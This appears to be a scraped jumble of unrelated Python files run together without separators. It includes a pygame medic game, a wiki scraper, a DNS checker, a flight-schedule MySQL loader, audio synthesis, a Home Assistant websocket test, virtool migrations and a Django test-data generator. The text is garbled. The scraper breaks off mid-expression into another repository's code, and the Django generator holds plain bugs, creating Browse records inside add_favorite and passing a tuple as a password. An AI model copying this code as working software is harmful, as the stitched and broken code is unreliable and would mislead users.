/ 2)#y coordinate for it to be centered drawImage(bg, bgX,bgY) run=True a=[] sno=0 array=[] click=False while run: if leftButtonPressed() and click==False: x1,y1=mousePos() print(x1,y1) a=[] sno+=1 if leftButtonPressed()==False and click==True: x2,y2=mousePos() print(x2,y2) for y in range(y1, y2): for x in range(x1, x2): r, g, b = getPixel(bg, x, y) array.append([b,g,r]) a.append(array) array=[] rect(x1,y1,(x2-x1),(y2-y1)) aa =cv2.UMat(np.array(a, dtype=np.uint8)) cv2.imwrite(('sprite/sprite'+str(sno)+'.jpg'), aa.get()) print(aa.get()) cv2.imshow('Image', aa.get()) click=leftButtonPressed() update() if run==False: sys.exit() #!/usr/bin/python #-*- coding: utf-8 -*- import sys import pygame import math import random SHOOTRANGE = 200 HEALRADIUS = 150 INVTIME = 2000 MAX_HP = 50 SHOOTTIME = 500 HEALTIME = 100 SCREEN = pygame.display.set_mode((800, 600)) pygame.display.set_caption('The Medic by chriiis88 for 1-Hour-Gamejam #86') pygame.key.set_repeat(20) def dist(a, b): return math.sqrt((a.x - b.x)*(a.x - b.x)+(a.y - b.y)*(a.y - b.y)) class Soldier: def __init__(self): self.x = random.randint(50, 750) self.y = random.randint(100, 500) self.rect = pygame.Rect(self.x, self.y, 20, 20) self.color = (0, 0, 255) self.hp = MAX_HP self.target = None self.shoottimer = 200 self.invtime = 0 # time that the soldier is invincible after respawn def _get_color(self): c = float(self.hp)/MAX_HP * 255 return (0, 0, c) def render(self): pygame.draw.rect(SCREEN, self._get_color(), self.rect) if self.target is not None and self.target.hp > 0: pygame.draw.line(SCREEN, self.color, self.rect.topleft, self.target.rect.topleft) if self.invtime > 0: r = (self.rect.x - 2, self.rect.y - 2, self.rect.width + 2, self.rect.height + 2) pygame.draw.rect(SCREEN, (255, 255, 255), r, 1) def update(self, enemies, dt): self.shoottimer -= dt # enemy still valid? if self.target is not None and self.target.hp > 0: if dist(self.rect, self.target.rect) < SHOOTRANGE: if self.shoottimer <= 0: self.shoottimer = 500 self.target.damage(10) else: self.target = None else: # find next enemy e = None d = 800 # any big value for ee in enemies: if dist(self.rect, ee.rect) < SHOOTRANGE: self.target = ee self.invtime -= dt def damage(self, d): if self.invtime <= 0: self.hp -= d def heal(self, h): self.hp = min(self.hp + h, MAX_HP) def respawn(self): self.hp = MAX_HP self.invtime = INVTIME class Player(Soldier): def __init__(self): Soldier.__init__(self) self.rect = pygame.Rect(400, 400, 20, 20) self.color = (255, 255, 255) self.healtarget = None def _get_color(self): return self.color def render(self): Soldier.render(self) if self.healtarget is not None and self.healtarget.hp > 0: if dist(self.healtarget.rect, self.rect) < HEALRADIUS: pygame.draw.line(SCREEN, (128, 128, 0), self.rect.topleft, self.healtarget.rect.topleft) def update(self, dt): self.shoottimer -= dt if self.healtarget is not None and self.healtarget.hp > 0: if self.shoottimer <= 0: self.shoottimer = HEALTIME self.healtarget.heal(20) class Enemy(Soldier): def __init__(self): Soldier.__init__(self) self.x = random.randint(200, 600) self.y = 0 self.rect = pygame.Rect(self.x, self.y, 20, 20) self.color = (255, 0, 0) def _get_color(self): c = float(self.hp)/MAX_HP * 255 return (c, 0, 0) def update(self, soldiers, dt): Soldier.update(self, soldiers, dt) self.rect.y += 1 def create_soldier(x, y): s = Soldier() s.rect.x = x s.rect.y = y return s def main(): random.seed() player = Player() soldiers = [] deadsoldiers = [] soldiers.append(create_soldier(100, 400)) soldiers.append(create_soldier(250, 300)) soldiers.append(create_soldier(400, 300)) soldiers.append(create_soldier(550, 300)) soldiers.append(create_soldier(700, 400)) enemies = [] enemytimermax = 2000 enemytimer = enemytimermax basehp = 10 timealive = 0 clock = pygame.time.Clock() dt = 0 while True: for event in pygame.event.get(): if event.type == pygame.QUIT: return -1 elif event.type == pygame.KEYDOWN: keys = pygame.key.get_pressed() if keys[pygame.K_ESCAPE]: return -1 if keys[pygame.K_a]: player.rect.x -= 5 if keys[pygame.K_d]: player.rect.x += 5 if keys[pygame.K_w]: player.rect.y -= 5 if keys[pygame.K_s]: player.rect.y += 5 elif event.type == pygame.MOUSEBUTTONDOWN: pos = event.pos button = event.button if button == 1: # left s = None for ss in soldiers: if ss.rect.collidepoint(pos) and dist(player.rect, ss.rect) < HEALRADIUS: player.healtarget = ss break elif event.type == pygame.MOUSEBUTTONUP: player.healtarget = None SCREEN.fill((0, 0, 0)) player.update(dt) player.render() #save dead soldiers for s in soldiers: if s.hp <= 0: deadsoldiers.append(s) #clear dead soldiers soldiers = [s for s in soldiers if s.hp > 0] for soldier in soldiers: soldier.update(enemies, dt) soldier.render() for e in enemies: if e.rect.y >= 600: e.hp = 0 basehp -= 1 if len(deadsoldiers) > 0: s = deadsoldiers.pop() s.respawn() soldiers.append(s) enemies = [e for e in enemies if e.hp > 0] # spawn new enemies enemytimer -= dt if enemytimer <= 0 and len(enemies) < 10: enemytimermax -= 50 enemytimer = max(1000, enemytimermax) enemies.append(Enemy()) for enemy in enemies: enemy.update(soldiers, dt) enemy.render() if basehp <= 0: return timealive else: for b in range(basehp): pygame.draw.circle(SCREEN, (0, 128, 0), (100 + b * 20, 580), 10) pygame.display.update() dt = clock.tick(60) timealive += dt return -1 def show_intro(): clock = pygame.time.Clock() running = True myFont = pygame.font.SysFont("None", 35) fontcolor = (255, 255, 255) SCREEN.fill((0, 0, 0)) SCREEN.blit(myFont.render("The Medic", 0, (200, 0, 0)), (250, 20)) SCREEN.blit(myFont.render("As a medic, you need to stay out of sight.", 0, fontcolor), (100, 100)) SCREEN.blit(myFont.render("You save lives.", 0, fontcolor), (100, 130)) SCREEN.blit(myFont.render("You work behind the scenes of war.", 0, fontcolor), (100, 160)) SCREEN.blit(myFont.render("WASD to move, left mouse to heal", 0, fontcolor), (100, 300)) SCREEN.blit(myFont.render("Press any key to start. Good luck.", 0, fontcolor), (100, 330)) pygame.display.update() while running: for event in pygame.event.get(): if event.type == pygame.KEYDOWN: return def show_outtro(timealive): clock = pygame.time.Clock() myFont = pygame.font.SysFont("None", 35) fontcolor = (255, 255, 255) SCREEN.fill((0, 0, 0)) SCREEN.blit(myFont.render("The Medic", 0, (200, 0, 0)), (250, 20)) SCREEN.blit(myFont.render("You survived {} seconds".format(float(timealive)/1000), 0, fontcolor), (100, 300)) pygame.display.update() while True: for event in pygame.event.get(): if event.type == pygame.KEYDOWN: if event.key == pygame.K_ESCAPE: return elif event.type == pygame.QUIT: return if __name__ == '__main__': pygame.init() pygame.event.clear() show_intro() pygame.event.clear() timealive = main() pygame.event.clear() if timealive > 0: show_outtro(timealive) scrape_data.py import requests from bs4 import BeautifulSoup import json from urllib import request URL = "http://wiki.dominionstrategy.com/index.php/List_of_cards" page = requests.get(URL) soup = BeautifulSoup(page.content, "html.parser") cards = [] table_rows = soup.find_all("table", class_="wikitable sortable")[0].find_all("tr") for row in table_rows[1:]: columns = row.find_all("td") name = columns[0].find_all("a")[0].find_all("span")[0].text expansion = columns[1].find_all("a")[0].text types = [word.strip() for word in columns[2].text.split("-")] images = columns[3].find_all("img") costs = [str(image).removeprefix(").split('stratacast/PUSH_Clients #!/usr/bin/env python3 # -*- coding: utf-8 -*- import socket import dns.resolver import dns.reversename from . import config """ Does a DNS query and passes if the result is what was expected """ def main(system, logger): """ Does a DNS query and passes if the result is what was expected """ data = [] host_resolver = dns.resolver.Resolver() host_resolver.nameserver = config.dns_ip if socket.gethostbyname(config.to_resolve) == config.to_resolve: rdns = dns.reversename.from_address(config.to_resolve) rdns_str = rdns.to_text() answer = host_resolver.query(rdns_str, config.query_type) result = answer[0].to_text() if result.endswith("."): result = result[:-1] if result not in config.expected_output: return 0 return 1 try: answer = host_resolver.query(config.to_resolve, config.query_type) except dns.exception.Timeout: return 0 else: for rdata in answer: data.append(rdata.to_text()) for result in data: if result.startswith('"'): result = result[1:] if result.endswith('"'): result = result[:-1] if result not in config.expected_output: return 0 return 1 import requests import mysql.connector import os import json import objectpath def get_key(): key_file = open(os.environ['AVIATION_EDGE_API_KEY'], 'r') key = key_file.read().split('\n')[0] key_file.close() return key def fetch(icao_code, type): response = requests.get('https://aviation-edge.com/v2/public/timetable?key=' + get_key() + '&icaoCode=' + icao_code + '&type=' + type) return json.loads(response.text) def schedule_exists(cxn, schedule): cursor = cxn.cursor() query = ''' SELECT `Schedule`.`ScheduleID` FROM `Schedule` INNER JOIN `Departure` ON `Schedule`.`ScheduleID` = `Departure`.`ScheduleID` INNER JOIN `Arrival` ON `Schedule`.`ScheduleID` = `Arrival`.`ScheduleID` INNER JOIN `Flight` ON `Schedule`.`FlightID` = `Flight`.`FlightID` WHERE `Departure`.`ICAOCode` = %(departure_icao)s AND `Departure`.`ScheduledTime` = %(scheduled_departure)s AND `Arrival`.`ICAOCode` = %(arrival_icao)s AND `Arrival`.`ScheduledTime` = %(scheduled_arrival)s AND `Flight`.`ICAONumber` = %(flight_icao)s ''' cursor.execute(query, schedule) rows = cursor.fetchall() cursor.close() return (len(rows) >= 1) def get_airline_id(cxn, icao_code): cursor = cxn.cursor() query = ''' SELECT `Airline`.`AirlineID` FROM `Airline` WHERE `Airline`.`ICAOCode` = %(icao_code)s ''' cursor.execute(query, { 'icao_code': icao_code }) rows = cursor.fetchall() cursor.close() return rows[0][0] if len(rows) > 0 else None def get_flight_id(cxn, icao_number): cursor = cxn.cursor() query = ''' SELECT `Flight`.`FlightID` FROM `Flight` WHERE `Flight`.`ICAONumber` = %(icao_number)s ''' cursor.execute(query, { 'icao_number': icao_number }) rows = cursor.fetchall() cursor.close() return rows[0][0] if len(rows) > 0 else None def insert_schedule(cxn, schedule): cursor = cxn.cursor() query = ''' INSERT INTO `Schedule` ( `Type`, `Status`, `AirlineID`, `FlightID` ) VALUES ( %(type)s, %(status)s, %(airline_id)s, %(flight_id)s ) ''' cursor.execute(query, schedule) id = cursor.lastrowid cxn.commit() cursor.close() return id def insert_departure(cxn, departure): cursor = cxn.cursor() query = ''' INSERT INTO `Departure` ( `ScheduleID`, `ICAOCode`, `IATACode`, `Terminal`, `Gate`, `Delay`, `ScheduledTime`, `EstimatedTime`, `ActualTime`, `EstimatedRunway`, `ActualRunway` ) VALUES ( %(schedule_id)s, %(icao_code)s, %(iata_code)s, %(terminal)s, %(gate)s, %(delay)s, %(scheduled_time)s, %(estimated_time)s, %(actual_time)s, %(estimated_runway)s, %(actual_runway)s ) ''' cursor.execute(query, departure) id = cursor.lastrowid cxn.commit() cursor.close() return id def insert_arrival(cxn, arrival): cursor = cxn.cursor() query = ''' INSERT INTO `Arrival` ( `ScheduleID`, `ICAOCode`, `IATACode`, `Terminal`, `Gate`, `Baggage`, `Delay`, `ScheduledTime`, `EstimatedTime`, `ActualTime`, `EstimatedRunway`, `ActualRunway` ) VALUES ( %(schedule_id)s, %(icao_code)s, %(iata_code)s, %(terminal)s, %(gate)s, %(baggage)s, %(delay)s, %(scheduled_time)s, %(estimated_time)s, %(actual_time)s, %(estimated_runway)s, %(actual_runway)s ) ''' cursor.execute(query, arrival) id = cursor.lastrowid cxn.commit() cursor.close() return id def insert_airline(cxn, airline): cursor = cxn.cursor() query = ''' INSERT INTO `Airline` ( `Name`, `ICAOCode`, `IATACode` ) VALUES ( %(name)s, %(icao_code)s, %(iata_code)s ) ''' cursor.execute(query, airline) id = cursor.lastrowid cxn.commit() cursor.close() return id def insert_flight(cxn, flight): cursor = cxn.cursor() query = ''' INSERT INTO `Flight` ( `Number`, `ICAONumber`, `IATANumber` ) VALUES ( %(number)s, %(icao_number)s, %(iata_number)s ) ''' cursor.execute(query, flight) id = cursor.lastrowid cxn.commit() cursor.close() return id if __name__ == '__main__': airports = [ 'KORD', 'KSTL', 'KSFO', 'KCAK', 'KRDU', 'KBDL', 'KLNK', 'KMDT', 'KJFK', 'KSEA', 'KCHO', 'KRSW', 'KAUS', 'KGRR', 'KFLL', 'KPSP', 'KATW', 'KCVG', 'KFNT', 'KCMI', 'KBTV', 'KDAY', 'KBHM', 'KSMF', 'KGSO', 'KCAE', 'KCLE', 'KAZO', 'KLAS', 'KBNA', 'KTYS', 'KSUX', 'KUNV', 'KICT', 'KGRB', 'KLGA', 'KDBQ', 'KAVL', 'KRIC', 'KOKC', 'KPIA', 'KMSP', 'KSAV', 'KPHL', 'KABQ', 'KCOS', 'KDFW', 'KBUF', 'KMCO', 'KALB', 'KAVP', 'KCHA', 'KEAU', 'KDCA', 'KALO', 'KCLT', 'KBIS', 'KMKE', 'KJAN', 'KMLI', 'KXNA', 'KMSY', 'KTUL', 'KBOI', 'KLAX', 'KIAD', 'KIAH', 'KDEN', 'KMBS', 'KRST', 'KJAX', 'KPBI', 'KSNA', 'KFAR', 'KELP', 'KCHS', 'KCWA', 'KFWA', 'KSBN', 'KSAT', 'KCMH', 'KIND', 'KCID', 'KBMI', 'KMIA', 'KBWI', 'KPIT', 'KCMX', 'KLAN', 'KGSP', 'KLSE', 'KSGF', 'KTOL', 'KOMA', 'KTPA', 'KPWM', 'KTVC', 'KHPN', 'KDLH', 'KSAN', 'KSRQ', 'KEWR', 'KROC', 'KPDX', 'KORF', 'KMKG', 'KSPI', 'KMSN', 'KATL', 'KCOU', 'KDSM', 'KILM', 'KROA', 'KMEM', 'KHSV', 'KSLC', 'KLEX', 'KSDF', 'KEVV', 'KFSD', 'KDTW', 'KBOS', 'KSYR', 'KASE', 'KPHX', 'KMCI', 'KLIT' ] for airport in airports: try: cxn = mysql.connector.connect(host='192.168.127.12', user='root', db='Schedule') departures = fetch(airport, 'departure') departures_tree = objectpath.Tree(departures) completed_departures = list(departures_tree.execute("$.*[@.arrival.actualTime or @.status is 'cancelled']")) arrivals = fetch(airport, 'arrival') arrivals_tree = objectpath.Tree(arrivals) completed_arrivals = list(arrivals_tree.execute("$.*[@.arrival.actualTime or @.status is 'cancelled']")) new_departures = 0 new_arrivals = 0 for completed in (completed_departures + completed_arrivals): schedule = { 'departure_icao': completed.get('departure', {}).get('icaoCode'), 'scheduled_departure': completed.get('departure', {}).get('scheduledTime'), 'arrival_icao': completed.get('arrival', {}).get('icaoCode'), 'scheduled_arrival': completed.get('arrival', {}).get('scheduledTime'), 'flight_icao': completed.get('flight', {}).get('icaoNumber') } if not schedule_exists(cxn, schedule): if completed.get('type') == 'departure': new_departures += 1 elif completed.get('type') == 'arrival': new_arrivals += 1 airline_id = get_airline_id(cxn, completed.get('airline', {}).get('icaoCode')) if airline_id is None: airline = { 'name': completed.get('airline', {}).get('name'), 'icao_code': completed.get('airline', {}).get('icaoCode'), 'iata_code': completed.get('airline', {}).get('iataCode') } airline_id = insert_airline(cxn, airline) flight_id = get_flight_id(cxn, completed.get('flight', {}).get('icaoNumber')) if flight_id is None: flight = { 'number': completed.get('flight', {}).get('number'), 'icao_number': completed.get('flight', {}).get('icaoNumber'), 'iata_number': completed.get('flight', {}).get('iataNumber') } flight_id = insert_flight(cxn, flight) schedule = { 'type': completed.get('type'), 'status': completed.get('status'), 'airline_id': airline_id, 'flight_id': flight_id } schedule_id = insert_schedule(cxn, schedule) departure = { 'schedule_id': schedule_id, 'icao_code': completed.get('departure', {}).get('icaoCode'), 'iata_code': completed.get('departure', {}).get('iataCode'), 'terminal': completed.get('departure', {}).get('terminal'), 'gate': completed.get('departure', {}).get('gate'), 'delay': completed.get('departure', {}).get('delay'), 'scheduled_time': completed.get('departure', {}).get('scheduledTime'), 'estimated_time': completed.get('departure', {}).get('estimatedTime'), 'actual_time': completed.get('departure', {}).get('actualTime'), 'estimated_runway': completed.get('departure', {}).get('estimatedRunway'), 'actual_runway': completed.get('departure', {}).get('actualRunway') } insert_departure(cxn, departure) arrival = { 'schedule_id': schedule_id, 'icao_code': completed.get('arrival', {}).get('icaoCode'), 'iata_code': completed.get('arrival', {}).get('iataCode'), 'terminal': completed.get('arrival', {}).get('terminal'), 'gate': completed.get('arrival', {}).get('gate'), 'baggage': completed.get('arrival', {}).get('baggage'), 'delay': completed.get('arrival', {}).get('delay'), 'scheduled_time': completed.get('arrival', {}).get('scheduledTime'), 'estimated_time': completed.get('arrival', {}).get('estimatedTime'), 'actual_time': completed.get('arrival', {}).get('actualTime'), 'estimated_runway': completed.get('arrival', {}).get('estimatedRunway'), 'actual_runway': completed.get('arrival', {}).get('actualRunway') } insert_arrival(cxn, arrival) print(' ' + airport + ' D:' + str(new_departures) + '/' + str(len(completed_departures)) + '/' + str(len(departures)), end='') print(' A:' + str(new_arrivals) + '/' + str(len(completed_arrivals)) + '/' + str(len(arrivals))) except: print(airport + ' failed.') finally: if 'cxn' in locals() or 'cxn' in globals(): cxn.close()check_calculate.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Jan 22 20:19:16 2020 @author: taotao """ import check_db def status_check(): print('进入计算检测') return def calculate(message,trigger,item_price):#识别并计算 if(trigger == 1): people = message[-1].split("@") people = people[1:] print('people_list:',people) people_counter = len(people) print('total_people:',people_counter) unit_price = item_price / people_counter #check_db.item_write(item_price)#新建项写入 #if(is_comment == 1): #return_message = "识别记账输入，记账金额" + str(item_price) + "备注：" + comment + "记账人数" + str(people_counter) + "人均价格" + str(unit_price) return_message = "识别记账输入，记账金额" + str(item_price) + "记账人数" + str(people_counter) + "人均价格" + str(unit_price) else: return_message = "未完成模式，请联系作者" #elif(trigger == 2): return return_message""" Synthesize Partitura Part or Note array to wav using additive synthesis """ import numpy as np import os from soundfile import SoundFile from scipy.interpolate import interp1d import partitura TWO_PI = 2 * np.pi SAMPLE_RATE = 44100 A4 = 440 DTYPE = float def midinote2freq(midi_pitch, a4=A4): return (a4 / 32) * (2 ** ((midi_pitch - 9) / 12)) def freq2midinote(freq, a4=A4): pitch = 12 * np.log2(32 * freq / a4) + 9 return int(np.round(pitch)) def exp_in_exp_out(num_frames, attack_frames, decay_frames): """ Sound envelope with exponential attack and decay """ # Initialize envelope envelope = np.ones(num_frames, dtype=DTYPE) # number of frames for decay decay_frames = np.minimum(num_frames // 10, 1000) # number of frames for attack attack_frames = np.minimum(num_frames // 100, 1000) # Compute envelope envelope[-decay_frames:] = np.exp(-np.linspace(0, 100, decay_frames)).astype(DTYPE) envelope[:attack_frames] = np.exp(np.linspace(-100, 0, attack_frames)).astype(DTYPE) return envelope def lin_in_lin_out(num_frames): """ Sound envelope with linear attack and decay """ # Initialize envelope envelope = np.ones(num_frames, dtype=DTYPE) # Number of frames for decay decay_frames = np.minimum(num_frames // 10, 1000) # number of frames for attack attack_frames = np.minimum(num_frames // 100, 1000) # Compute envelope envelope[-decay_frames:] = np.linspace(1, 0, decay_frames, dtype=DTYPE) envelope[:attack_frames] = np.linspace(0, 1, attack_frames, dtype=DTYPE) return envelope def additive_synthesis(freqs, duration, samplerate=SAMPLE_RATE, weights='equal', envelope_fun='linear'): """ Additive synthesis """ if isinstance(freqs, (int, float)): freqs = [freqs] if isinstance(weights, (int, float)): weights = [weights] elif weights == 'equal': weights = np.ones(len(freqs), dtype=DTYPE) / len(freqs) freqs = np.array(freqs).reshape(-1, 1) weights = np.array(weights).reshape(-1, 1) if envelope_fun == 'linear': envelope_fun = lin_in_lin_out elif envelope_fun == 'exp': envelope_fun = exp_in_exp_out else: if not callable(envelope_fun): raise ValueError('`envelope_fun` must be "linear", "exp" or a callable') num_frames = int(np.round(duration * SAMPLE_RATE)) envelope = envelope_fun(num_frames) x = np.linspace(0, duration, num=num_frames) output = weights * np.sin(TWO_PI * freqs * x) return output.sum(0) * envelope class DistributedHarmonics(object): def __init__(self, n_harmonics, weights='equal'): self.n_harmonics = n_harmonics self.weights = weights if self.weights == 'equal': self.weights = 1.0 / (self.n_harmonics + 1) * np.ones(self.n_harmonics + 1) self._overtones = np.arange(1, self.n_harmonics + 2) def __call__(self, freq): return self._overtones * freq, self.weights class ShepardTones(object): """ Generate Shepard Tones """ def __init__(self, min_freq=77.8, max_freq=2349): self.min_freq = min_freq self.max_freq = max_freq x_freq = np.linspace(self.min_freq, self.max_freq, 1000) weights = np.hanning(len(x_freq) + 2) + 0.001 weights /= max(weights) self.shepard_weights_fun = interp1d(x_freq, weights[1:-1], bounds_error=False, fill_value=weights.min()) def __call__(self, freq): min_freq = self.min_f(freq) freqs = 2 ** np.arange(5) * min_freq return freqs, self.shepard_weights_fun(freqs) def min_f(self, freq): n = np.floor(np.log2(freq) - np.log2(self.min_freq)) return freq / (2 ** n) def max_f(self, freq): n = np.floor(np.log2(self.max_freq) - np.log2(freq)) return freq * (2 ** n) def check_instance(fn): """ Checks if input is Partitura part object or structured array """ if isinstance(fn, partitura.score.Part): return True elif isinstance(fn, partitura.score.PartGroup): return True elif isinstance(fn, list) and isinstance(fn[0], partitura.score.Part): return True elif isinstance(fn, np.ndarray): return False else: raise TypeError("The file type is not supported.") def synthesize_data(in_fn, out_fn, samplerate=SAMPLE_RATE, envelope_fun='linear', harmonic_dist=None, bpm=60): """ Synthesize_data from part or note array. Parameters ---------- in_fn : Part object or structured array A partitura Part Object (or group part or part list) or a Note array. out_fn : str The directory and name of the file to be created, i.e. Path/To/Directory/example.wav envelope_fun: str The type of envelop to apply to the individual sines harmonic_dist : int or str Default is None. Option is shepard. bpm : int The bpm for playback. """ if check_instance(in_fn): note_array = partitura.utils.ensure_notearray(in_fn) else: note_array = in_fn if np.min(note_array["onset_beat"]) <= 0: note_array["onset_beat"] = note_array["onset_beat"] + np.min(note_array["onset_beat"]) else: note_array["onset_beat"] = note_array["onset_beat"] - np.min(note_array["onset_beat"]) print(note_array) beat2sec = 60/bpm onsets = note_array["onset_beat"] * beat2sec offsets = (note_array["onset_beat"] + note_array["duration_beat"]) * beat2sec duration = note_array["duration_beat"] * beat2sec pitch = note_array["pitch"] piece_duration = offsets.max() # Number of frames num_frames = int(np.round(piece_duration * samplerate)) # Initialize array containing audio audio = np.zeros(num_frames, dtype='float') # Initialize the time axis x = np.linspace(0, piece_duration, num=num_frames) # onsets in frames (i.e., indices of the `audio` array) onsets_in_frames = np.digitize(onsets, x) # frequency of the note in herz freq_in_hz = midinote2freq(pitch) if harmonic_dist is None: def harmonic_dist(x): return x, 1 elif isinstance(harmonic_dist, int): harmonic_dist = DistributedHarmonics(harmonic_dist) for (f, oif, dur) in zip(freq_in_hz, onsets_in_frames, duration): freqs, weights = harmonic_dist(f) note = additive_synthesis(freqs=freqs, duration=dur, samplerate=samplerate, weights=weights, envelope_fun=envelope_fun) idx = slice(oif, oif + len(note)) audio[idx] += note # normalization term # TODO: Non-linear normalization? norm_term = max(audio.max(), abs(audio.min())) # normalize audio audio /= norm_term wav_fn = out_fn + '.wav' with SoundFile(file=wav_fn, mode='w', samplerate=SAMPLE_RATE, channels=1, subtype='PCM_24') as f: f.write(audio) if __name__ == '__main__': import argparse parser = argparse.ArgumentParser('Synthesize a MIDI file') # parser.add_argument('out_fn') parser.add_argument('--harmonic-dist', default=None) parser.add_argument('--samplerate', type=int, default=SAMPLE_RATE) parser.add_argument('--envelope', default='linear') args = parser.parse_args() in_fn = partitura.load_musicxml(os.path.join(os.path.dirname(__file__), "../xml_score.musicxml")) out_fn = os.path.join(os.path.dirname(__file__), "../out.wav") if args.harmonic_dist is None: harmonic_dist = DistributedHarmonics(n_harmonics=0) elif args.harmonic_dist == 'shepard': harmonic_dist = ShepardTones() print('Using Shepard tones') else: harmonic_dist = DistributedHarmonics(int(args.harmonic_dist)) print('N harmonics', harmonic_dist.n_harmonics) synthesize_data(in_fn, out_fn, samplerate=args.samplerate, envelope_fun=args.envelope, harmonic_dist=harmonic_dist) import json import time import warnings from threading import Thread, Event import asyncio import pytest import websockets import pnp.plugins.pull.hass as hass from . import start_runner, make_runner def wait_for_event(evt): for _ in range(10): if evt.is_set(): break time.sleep(0.25) assert evt.is_set() class WebSocketFakeServer: def __init__(self): self.stopped = Event() self.started = Event() self._thr = None async def _handler(self, websocket, path): with warnings.catch_warnings(): warnings.filterwarnings("ignore") # First send that auth is required await websocket.send(json.dumps({'type': 'auth_required', 'ha_version': '0.88.2'})) auth_ok = False while not auth_ok: msg = json.loads(await websocket.recv()) if msg.get('type', '') == 'auth' and msg.get('access_token', '') == 'g': auth_ok = True await websocket.send(json.dumps({'type': 'auth_ok'})) else: await websocket.send(json.dumps({'type': 'auth_invalid'})) event_data = [{ 'data': { 'entity_id': 'light.lamp1', 'old_state': {}, 'new_state': {} } }, { 'data': { 'entity_id': 'light.lamp2', 'old_state': {}, 'new_state': {} } }] for i in range(10): await asyncio.sleep(0.05) await websocket.send(json.dumps({ 'type': 'event', 'event': event_data[i % len(event_data)] })) def _loop(self): event_loop = asyncio.new_event_loop() self.loop = event_loop event_loop.run_until_complete(websockets.serve(self._handler, port=8123, loop=event_loop)) self.started.set() event_loop.run_forever() self.stopped.set() def start(self): self._thr = Thread(target=self._loop) self._thr.start() def stop(self): self.loop.call_soon_threadsafe(self.loop.stop) wait_for_event(self.stopped) @pytest.mark.asyncio async def test_hass_state_for_smoke(): fake = WebSocketFakeServer() fake.start() wait_for_event(fake.started) events = [] def callback(plugin, payload): events.append(payload) dut = hass.State(name='pytest', url='ws://localhost:8123', token='abcdefg') runner = await make_runner(dut, callback) async with start_runner(runner): time.sleep(2) assert len(events) == 10 fake.stop() import logging import os import re import pymongo.errors import virtool.analyses.db import virtool.analyses.migrate import virtool.history.db import virtool.jobs.db import virtool.otus.db import virtool.references.db import virtool.samples.db import virtool.db.utils import virtool.otus.utils import virtool.references.utils import virtool.users.utils import virtool.utils logger = logging.getLogger(__name__) RE_FILE_PREFIX = re.compile("^[0-9a-z]{8}-") async def delete_unready(collection): await collection.delete_many({"ready": False}) async def migrate(app): db = app["db"] server_version = app["version"] logger.info(" • analyses") await virtool.analyses.migrate.migrate_analyses(db, app["settings"]) await migrate_files(db) await migrate_groups(db) await migrate_sessions(db) await migrate_status(db, app["version"]) await migrate_subtraction(db) await migrate_samples(app) async def migrate_files(db): """ Make all files unreserved. This is only called when the server first starts. :param db: """ logger.info(" • files") await db.files.update_many({}, { "$set": { "reserved": False } }, silent=True) async def migrate_groups(db): """ Ensure that the permissions object for each group matches the permissions defined in `virtool.users.PERMISSIONS`. :param db: """ logger.info(" • groups") await db.groups.update_many({}, { "$unset": { "_version": "" } }) async for group in db.groups.find(): await db.groups.update_one({"_id": group["_id"]}, { "$set": { "permissions": {perm: group["permissions"].get(perm, False) for perm in virtool.users.utils.PERMISSIONS} } }, silent=True) async def migrate_jobs(app): logger.info(" • jobs") motor_client = app["db"].motor_client await virtool.jobs.db.delete_zombies(motor_client) async def migrate_samples(app): motor_client = app["db"].motor_client for sample_id in await motor_client.samples.distinct("_id"): await virtool.samples.db.recalculate_algorithm_tags(motor_client, sample_id) samples_path = os.path.join(app["settings"]["data_path"], "samples") # Update how files are represented in sample documents. async for document in motor_client.samples.find({"files.raw": {"$exists": False}}): files = list() sample_id = document["_id"] for index, file in enumerate(document["files"]): name = f"reads_{index + 1}.fastq" path = os.path.join(samples_path, sample_id, name) try: stats = virtool.utils.file_stats(path) except FileNotFoundError: stats = { "size": None } files.append({ "name": name, "download_url": f"/download/samples/{sample_id}/{name}", "size": stats["size"], "raw": False, "from": { "id": file, "name": RE_FILE_PREFIX.sub("", file), "size": stats["size"] } }) await motor_client.samples.update_one({"_id": sample_id}, { "$set": { "files": files } }) paired_query = { "paired": { "$exists": False } } await motor_client.samples.update_many({**paired_query, "files": {"$size": 1}}, { "$set": { "paired": False } }) await motor_client.samples.update_many({**paired_query, "files": {"$size": 2}}, { "$set": { "paired": True } }) async def migrate_sessions(db): logger.info(" • sessions") await db.sessions.delete_many({"created_at": {"$exists": False}}) await db.sessions.create_index("expiresAt", expireAfterSeconds=0) async def migrate_status(db, server_version): logger.info(" • status") await db.status.delete_many({ "_id": { "$in": ["software_update", "version"] } }) try: await db.status.insert_one({ "_id": "software", "installed": None, "process": None, "releases": list(), "updating": False, "version": server_version, }) except pymongo.errors.DuplicateKeyError: await db.status.update_one({"_id": "software"}, { "$set": { "process": None, "updating": False, "version": server_version } }) try: await db.status.insert_one({ "_id": "hmm", "installed": None, "process": None, "updates": list(), "release": None }) except pymongo.errors.DuplicateKeyError: if await db.hmm.count(): await db.status.update_one({"_id": "hmm", "installed": {"$exists": False}}, { "$set": { "installed": None } }) async def migrate_subtraction(db): logger.info(" • subtraction") await delete_unready(db.subtraction) App/tools.py1-10 """generate database test data""" import random import string from django.core import signing from .models import User, DocContent, Doc, DocTemplate, Browse, Favorite, Team from .models import TeamMember, DocPower, Comment, Message # random.seed(1000) def rand_str(num): num = min(num, 60) num = random.randint(5, num) return ''.join(random.sample(string.ascii_letters + string.digits, num)) def add_data(): add_user() add_doc() add_doc_template() add_browse() add_favorite() add_team() add_team_member() add_doc_power() add_comment() add_message() def add_user(): users = [] for _ in range(20): users.append(User(name=rand_str(10), password=(100, 999999))) User.objects.bulk_create(users) print('Users add finished') def add_doc(): docs = [] # doccs=[] for _ in range(20): dcc = DocContent(title=rand_str(10), content=rand_str(100)) dcc.save() creator = User.objects.order_by('?')[:2].first() doc = Doc(creator=creator, content=dcc) docs.append(doc) # doccs.append(dcc) Doc.objects.bulk_create(docs) # Doc_content.objects.bulk_create(doccs) print('Docs add finished') def add_doc_template(): docts = [] # doccs = [] for _ in range(10): dcc = DocContent(title=rand_str(10), content=rand_str(100)) dcc.save() dct = DocTemplate(content=dcc, name=rand_str(10)) docts.append(dct) # doccs.append(dcc) DocTemplate.objects.bulk_create(docts) # Doc_content.objects.bulk_create(doccs) print('Doc_templates add finished') def add_browse(): browses = [] for _ in range(10): uid = User.objects.order_by('?')[:2].first() did = Doc.objects.order_by('?')[:2].first() browses.append(Browse(uid=uid, did=did)) Browse.objects.bulk_create(browses) print('Browse add finished') def add_favorite(): favorites = [] for _ in range(10): uid = User.objects.order_by('?')[:2].first() did = Doc.objects.order_by('?')[:2].first() favorites.append(Browse(uid=uid, did=did)) 